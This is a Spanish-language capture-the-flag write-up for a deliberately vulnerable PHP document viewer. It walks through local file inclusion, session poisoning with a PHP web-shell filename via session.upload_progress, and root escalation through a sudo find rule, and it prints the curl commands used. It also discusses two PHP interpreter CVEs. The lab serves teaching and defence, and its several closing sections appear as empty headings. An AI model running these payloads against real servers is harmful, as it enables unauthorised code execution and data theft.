BeriaBox Writeup Volver al laboratorio →
PHP2Shell: terminal con código en verde y candado abierto sobre fondo verde oscuro

PHP2Shell · laboratorio 001

De un visor de documentos a root.

La cadena completa del laboratorio, por qué funciona cada paso, y el estado real —sin marketing— de las dos vulnerabilidades de PHP que le dan nombre.

En una línea. El visor incluye la ruta que le pasas → lees ficheros como www-data; el nombre del fichero subido se escribe dentro de la sesión de PHP → lo incluyes y ejecutas; y sudo find te deja leer la flag de root. Sin fuerza bruta y sin adivinar.

Plataforma con la máquina en línea, el túnel conectado y las dos evidencias pendientes
La plataforma con la máquina en línea. La captura es de la etapa con túnel; hoy el acceso es por IP pública.

1 · El laboratorio en dos minutos

Cada miembro recibe una máquina desechable, no una carpeta compartida. El portal solo pide un código personal; detrás, un broker crea un droplet en DigitalOcean desde una imagen base, le inyecta dos flags únicas, abre el puerto 80 en una IP pública y arranca un reloj de una hora.

2 · El recorrido, paso a paso

Todo ocurre sobre http://<ip-pública>/, la dirección que la plataforma te asigna al arrancar. Sin cliente VPN ni configuración: se abre en el navegador.

Aplicación Archivo: formulario de subida y lista de documentos
La aplicación del reto: recepción de documentos y visor.

2.1 · Reconocimiento

La portada es una aplicación de archivo: un formulario de subida y un visor de documentos. El visor recibe la ruta en ?doc= y la incluye. Ahí está el fallo.

curl "http://10.77.0.1/preview.php?doc=docs/informe-2026.txt"
Terminal: lectura del título de Archivo y de las primeras líneas de /etc/passwd
Reconocimiento y lectura de ficheros: salida conservada del QA. Abre la captura para ver los comandos a tamaño completo.

2.2 · Lectura de ficheros (la flag de usuario)

El filtro solo bloquea .., así que una ruta absoluta pasa sin problema. La flag de usuario está protegida para el resto del mundo, pero es legible por el usuario del servicio web:

curl "http://10.77.0.1/preview.php?doc=/etc/passwd"
curl "http://10.77.0.1/preview.php?doc=/home/analyst/user.txt"
Ojo con los señuelos. Hay una copia antigua en /home/analyst/backup/user.txt y un informe en /opt/reports/root.txt. Son señuelos: no corresponden a las flags válidas de la sesión.

2.3 · De lectura a ejecución (session poisoning)

El formulario de subida incluye PHP_SESSION_UPLOAD_PROGRESS. Con esa opción activada, PHP escribe en el fichero de sesión el nombre del fichero que estás subiendo. Si ese nombre contiene código PHP, el código acaba en un fichero bajo /var/lib/php/sessions/. Y el visor incluye lo que le pidas.

# 1. el nombre del fichero lleva el código; sin ';' porque corta el multipart
curl -s -b "PHPSESSID=pwn1" \
  -F "PHP_SESSION_UPLOAD_PROGRESS=archivo" \
  -F 'document=@payload;filename=<?php system($_GET[0])?>' \
  http://10.77.0.1/index.php

# 2. se incluye la sesión y se ejecuta
curl "http://10.77.0.1/preview.php?doc=/var/lib/php/sessions/sess_pwn1&0=id"

La imagen del reto fija session.upload_progress.cleanup=0 a propósito: sin eso, el fichero se borra al terminar la subida y la cadena depende de ganar una carrera de milisegundos. En un laboratorio queremos enseñar la técnica, no el cronómetro.

Terminal: subida multipart, inclusión de sesión e id con uid 33 www-data
La inclusión de la sesión ejecutó el comando con el usuario del servidor web. Abre la captura para ver los comandos a tamaño completo.

2.4 · Escalada a root

Como www-data, sudo -l muestra una regla heredada del equipo de soporte:

www-data ALL=(root) NOPASSWD: /usr/bin/find

find con -exec ejecuta lo que le pongas, como root. Es el clásico de GTFOBins:

sudo find /root -name root.txt -exec cat {} +
Terminal: sudo find lee la flag de root, cuyo valor aparece oculto
Escalada mediante la regla de sudo y recuperación de la evidencia de root. Abre la captura para ver los comandos a tamaño completo.

Con las dos flags en el portal, la máquina queda resuelta: 40 puntos, 20 por evidencia.

Terminal: ambas entregas devuelven HTTP 200, correct True y decoy False
Fragmento del script de validación: el servidor aceptó ambas flags. Abre la captura para ver los comandos a tamaño completo.
Terminal: la cadena completa en una sola sesión, de /etc/passwd a la flag de root
La cadena completa de una tirada: lectura, evidencia del analista, envenenamiento de sesión, uid=33(www-data) y la flag de root. Comandos reales ejecutados contra la máquina del túnel. Abre la captura para verla a tamaño completo.

Las capturas de terminal reproducen el registro real del QA del 22 de octubre de 2026, cuando el acceso era por túnel WireGuard; por eso verás 10.77.0.1. Hoy la máquina se abre por su IP pública, con los mismos pasos y los mismos comandos.

Plataforma con el banner +20 Root flag y 40 de 40 puntos
Al validar cada flag, la plataforma suma los puntos y suena el chime del laboratorio (/static/sounds/flag.wav).
1 · Subida multipart filename=<?php … PHP_SESSION_UPLOAD_PROGRESS 2 · Fichero de sesión /var/lib/php/sessions/ sess_<id> 3 · Visor incluye ?doc=/var/lib/php/… include → ejecuta 4 · Shell www-data uid=33(www-data) 5 · sudo find regla heredada de soporte 6 · Flag de root BL{…} Atajo de lectura: <?doc=/home/analyst/user.txt el mismo include sin ejecutar nada
La cadena del reto: el nombre del fichero subido acaba dentro del fichero de sesión, y el visor incluye lo que le pidas.

3 · Por qué el visor es vulnerable

El visor hace esto:

$doc = $_GET['doc'] ?? '';
if ($doc === '' || str_contains($doc, '..')) { http_response_code(404); exit; }
include $doc;

El filtro parece una defensa y no lo es: bloquea el traversal con .. pero acepta rutas absolutas, php://filter y cualquier fichero local. Un include con entrada del usuario es ejecución de código, no solo lectura. La lección: validar «que no tenga ..» no es validar una ruta; hay que comparar contra una lista blanca de documentos y nunca incluir rutas del usuario.

4 · PHP2Shell: qué se sabe de verdad

El reto se llama así por las dos vulnerabilidades del intérprete publicadas el 21 de octubre de 2026. Esta imagen corre PHP 8.4.26, anterior a la 8.4.27 que las corrige, con mod_php y mpm_prefork: el escenario que los avisos señalan como el más expuesto.

CVE · GHSAQué rompeCómo se disparaCorregido en
CVE-2026-109618
GHSA-w8hw-w9fx-j79w
RCE por corrupción en OOM: longjmp() abandona la petición con memoria a medio inicializar.Multipart que agota memory_limit durante el parseo, antes de tu código. Con mod_php el shutdown procesa el estado inválido; FPM mata al hijo.8.4.27 · 8.3.36 · 8.2.35 · 8.5.12
CVE-2026-109619
GHSA-6wmf-4rv5-p3rp
RCE por estado global rancio: el worker conserva punteros a memoria liberada.Necesita productor (fatal/OOM antes del reset) y consumidor (diagnóstico INI o session.upload_progress) en el mismo worker.8.4.27 · 8.3.36 · 8.2.35 · 8.5.12

Los avisos concretan el detalle, y conviene tenerlo claro porque es lo que hace que este laboratorio sea honesto consigo mismo:

Los dos están valorados 9,2 y permiten ejecución remota sin autenticación. Y los dos comparten superficie con el reto: el mismo session.upload_progress. Por eso el laboratorio es honesto consigo mismo —el recorrido resuelve por el visor, pero el tema que estudias es exactamente el que está en los avisos.

Son, a fecha de hoy, las dos últimas que ha publicado el proyecto PHP: el aviso es del 21 de octubre de 2026 y las versiones que las corrigen son 8.5.12, 8.4.27, 8.3.36 y 8.2.35. No consta un aviso posterior.

Lo que se sabe de la explotación real (22 de octubre de 2026). Los análisis públicos de estas horas coinciden en varias cosas: la ejecución requiere obtener direcciones de memoria que el ASLR protege; la UAF permite una lectura local que filtra direcciones del heap por la red como enteros de 64 bits, y con eso se puede montar la escritura y llegar al código; ambos pasos dependen de un heap spray, que es la parte difícil. Hay muchísimos PoC publicados que no funcionan —los que están circulando son en su mayoría generados sin verificar—, al menos uno funcional que se apoya en fuerza bruta contra el ASLR y por eso no es especialmente impactante, y los rumores de explotación en la naturaleza son irregulares. La expectativa razonable es que aumente en las próximas semanas, con tasas de éxito muy distintas según la cadena.

4.1 · Lo que se está diciendo en X

La conversación de estas horas en X merece separarse en dos columnas: lo que se sabe y lo que se repite. Un hilo de @LowLevelTweets y las notas de un investigador que dice haber probado un exploit coinciden en lo esencial:

Nada de eso viene confirmado por el proyecto PHP: es testimonio de la comunidad, y se mueve rápido. Lo que sí está confirmado es lo del apartado anterior —la superficie, las versiones y el parche— y que aquí no hemos conseguido cerrar la cadena.

4.2 · Lo que verificamos aquí

POST multipart sin Content-Length útil o mil cabeceras por parte parser rfc1867 corre ANTES del script memoria agotada memory_limit (128M) longjmp() sale sin limpiar shutdown estado a medio inicializar RCE como el worker web mod_php siempre llama al shutdown FPM mata al hijo y no llega ahí
CVE-2026-109618 · RCE por corrupción en OOM. El agotamiento de memoria ocurre durante el parseo del cuerpo, antes de tu código; longjmp() abandona la petición con memoria de petición a medio inicializar y el cierre de petición la procesa.
Petición 1 publica estado sesión, error, extensión… fatal / OOM antes del reset se libera el heap el global sigue apuntando Petición 2 · mismo worker antes de inicializar upload_progress / INI lee estado rancio use-after-free RCE con el worker web el puntero sobrevive
CVE-2026-109619 · RCE por estado global rancio. Hacen falta un productor y un consumidor en el mismo worker: una petición deja estado apuntando a memoria liberada y la siguiente lo usa antes de que la inicialización lo reemplace.

5 · Cómo se defiende esto

6 · La plataforma por dentro

7 · Qué te llevas

8 · Referencias

Documento vivo. Si algo de aquí deja de ser cierto —y con estas vulnerabilidades pasará—, se corrige y se dice.